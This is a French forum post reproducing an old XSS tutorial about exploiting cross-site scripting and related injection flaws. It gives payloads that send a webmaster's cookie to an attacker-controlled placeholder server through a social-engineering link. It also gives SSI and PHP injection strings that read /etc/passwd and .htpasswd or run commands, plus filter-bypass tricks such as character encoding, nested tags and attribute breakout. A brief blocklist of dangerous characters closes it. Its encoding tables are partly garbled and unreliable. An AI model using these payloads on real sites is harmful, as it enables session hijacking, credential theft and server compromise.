[Tuto] Madchat - XSS

nICE tUCO

Nouveau membre
Introduction
************
Comme j'ai fait un gros tutoriel sur les failles cross site scrpting PHPNuke, je vais
maintenant approfondir un peu le sujet. Parfois on me dit "ce sont que des failles qui
servent à rien"... voyons d'abord comment s'en servir
La methode d'utilisation du css la plus connue est celle du social engineering avec un
lien en html qui contient un code pas gentil. Alors le webmaster se dit "pas grave je
vais faire attention" ou il empeche la lecture du html dans la reception des mails.

Et bien ce n'est pas suffisant... loin de là. La faille cross site scrpting est enormement
répandue dans les pages web dynamiques et fort sous-estimée.

Rappel :
Le "cross site scrpting" est une faille permettant, le plus souvent dans une page web
dynamique contenant un formulaire, de faire executer du code javascrpt, html ou autre
directement sur le site via une url.

Vous pouvez avoir + d'infos au sujet du css ici :


Le SE
*****
Commencons par l'utilisation la plus connue du cross site scrpting : le social engineering.
Literalement : Ingénierie sociale, càd le fait de savoir se comporter avec les gens, une sorte
de sciences des contacts sociaux. Ici comme la plupart du temps dans le hack à des fins
de tests ou malentionnés.

Notre but est donc de faire executer un code par le webmaster. Disons par exemple de prendre
son cookie.
Bon, je place un fichier php par exemple hack.php sur un serveur <server>.
Je me trouve un scrpt scrpt.cgi avec une valeur val qui est atteind de CSS.
Pour recuperer le cookie, je doit donc obliger le webmaster à aller à l'url
http://<server>/fichier.php?val=+document.cookie.

Il nous faudra donc envoyer au webmaster un message de ce genre :
"
Bonjour,
il y a un probleme dans votre site
<a href="/scrpt.cgi?val=<scrpt>location="http://<server>/hack.php?"+document.cookie"> ici </a>
"

En voyant l'url sur son propre site, le webmaster risque de ne pas se mefier et de cliquer
sur le lien.


SSI
***
Les SSI (Server Side Include) sont des petites commandes éxécutées par le serveur.
On peut par exemple s'en servir pour inclure un fichier dans une page :

<!--#include file="menu.html" -->
ou
<!--#include virtual="article.html"-->

On pourra donc l'utiliser comme ceci :

http://<server>/scrptwithbug.php?comment=<!--#include%20file="/etc/passwd"%20-->
http://<server>/scrpt.php?comment=<!%20--#include%20virtual=".htpasswd"-->

On peut aussi utiliser les SSI pour rediriger vers une autre url, en remplacant le .htpasswd
ou le /etc/passwd par l'url ou on veut que le webmaster se rende.
Ou encore faire executer des commandes, comme la commande id pour connaitre l'username
du serveur web :

http://<server>/scrpt.php?comment=<!%20#<!--#exec%20cmd="id"-->

VBS
***
Certains elements du vbscrpt peuvent en effet être executés grâce à du cross site scrpting.
Essayez par exemple

http://host/scrpt.php?val=<scrpt%20language="vbscrpt">msgbox%20"Vbscrpt"</scrpt>.

PHP
***
On peut essayer d'inserer des commandes en php grâce aux requetes <? et ?>.
On peut par exemple affichier un fichier du disque dur :

/scrpt.php?val=<?%20include%20'/etc/passwd'%20?>

ou bien faire executer des commandes :

/scrpt.php?val=<?%20passthru("id");?>


HTML
****

Pour faire afficher une page ou rediriger vers une autre page, il n'y a pas que les cas qui ont
été vus ci-dessus.
Par exemple la balise IFRAME :
<IFRAME SRC="http://host/pageavoir.html" WIDTH="200" HEIGHT="300"></IFRAME>

ou :

<head><meta HTTP-EQUIV = "refresh" CONTENT = "0 ; URL = http://host/"></head>

ou encore :

<img src="javascrpt:location='http://www.server.com/page.php?'+document.cookie">

<body onload="location='http://were.to.go';"></body>

<OBJECT classid="clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389" width=1 height=1>
<PARAM NAME="URL" value="http://were.to.go">
</OBJECT>

<LINK REL=STYLESHEET TYPE="text/javascrpt" SRC="javascrpt.js">

ainsi que la balise EMBED, FORM et bien d'autres que je ne connais pas ou dont je
ne me rapelle plus.


Les filtres
***********
Les filtres supprimant par exemple les caracteres < ou " ne sont parfois pas suffisant.
Le caractere " peut par exemple être remplacé par son encodage (Latin-1) :
" ou encore ".
Donc par exemple :
www.host.com/form.asp?msg=<scrpt>location="http://exemple.com/g.php?"+document.cookie</scrpt>
Ce petit tableau pour rappel, avec les caracteres qui peuvent etre utiles :

! : ! ? : ?
" : " [ : [
$ : $ / : /
% : % \ : \
' : ' ] : ]
( : ( ` : `
) : ) a-z : a-&#122
+ : + { : {
: : : | : |
< : < } : }
= : =
> : >
un peu de culture par Majen : l'euro : €

Je n'ai mis ni & ni #, car si ils sont filtrés, il le seront aussi dans ce cas là.
Et aussi :

" : "
< : <
> : >


& : %26
! : %21
? : %3F
" : %22
[ : %5B
$ : %24
/ : %2F
\ : %5C
' : %27
] : %5D
( : %28
` : %60
) : %29
+ : %2B
{ : %7B
: : %3A
| : %7C
< : %3C
} : %7D
= : %3D
> : %3E
# : %23
a-y : %61-%79

Autre chose... si on a une page du style /scrpt.cgi?tel=03264598714 et quand dans la source
on voit qqchose du genre <input type=hidden name=tel value="03264598714">, une possibilité
qui a fonctionné par exemple sur le site www.microsoft.com est de commencer le code
à inscrire dans la valeur par "> , par exemple /scrpt.cgi?tel="><scrpt>[UN scrpt]</scrpt>.
Le code source peut être alors interpreté de la sorte :

<input type=hidden name=tel value="">
/* le dernier "> etant celui qu'on a inseré au debut de la valeur. Le input est alors fermé
/* et "tel" a une valeur vide.
<scrpt>[UNscrpt]</scrpt>
/* Vient alors le scrpt...
">
/* et la fin du input qui étais là à la base et sera surement interprété comme du texte.

Dans le même style vous pouvez aussi essayer '>[scrpt] ou </font>[scrpt] ou encore
">[scrpt]<" .

Il faut aussi pouvoir jouer avec les filtres fixés. Imaginez par exemple qu'un filtre
repere le mot "scrpt", et s'en debarasse en le supprimant.
Essayez alors d'entrer un scrpt dans ce genre :
<scrscrptipt>alert('test')</scrscrptipt>

Verifiez que un caractere ou un mot ne soit pas remplacé par un caractere sensible.
Si par exemple ? n'est pas accepté mais que "cookie" est remplacé par ?, il vous
suffira d'entrer qqchoz.php?val=<cookie%20passthru("id");cookie>

Un dernier truc au niveau filtre... dans certains cas, si ' est interdit, il peut etre remplacé
par l'antislash \ .

Solution :
**********
Normalement, si vous bloquez ces caracteres, vous ne devriez plus avoir
de problemes de cross site scrpting : <> # & % ! [] .
Mais pour + de secu, voici une liste de mots/caracteres, surement pas complete, pouvant être
nefastes pour un site :

EMBED
scrpt
VBS
"
'
location
cookie
:
LINK
IFRAME
refresh
OBJECT
onload
onStart
+
=
$
*

Il y a des scrpts anti-cross site scrpting déjà tout fait sur cert.org, je n'en ai donc
pas fait de nouveaux.

Le cross site scrpting est une "matière" que je découvre, je ne la maitrise pas parfaitement.
J'ai donc prévu une rubrique "mises à jour" pour les eventuels rajouts/corrections.

aide moi GAMBIT
 
Vous devez vous inscrire ou vous connecter pour répondre ici.
Derniers messages publiés
Statistiques globales
Discussions
730 132
Messages
6 717 999
Membres
1 586 386
Dernier membre
aviateurdesairs
Partager cette page
Haut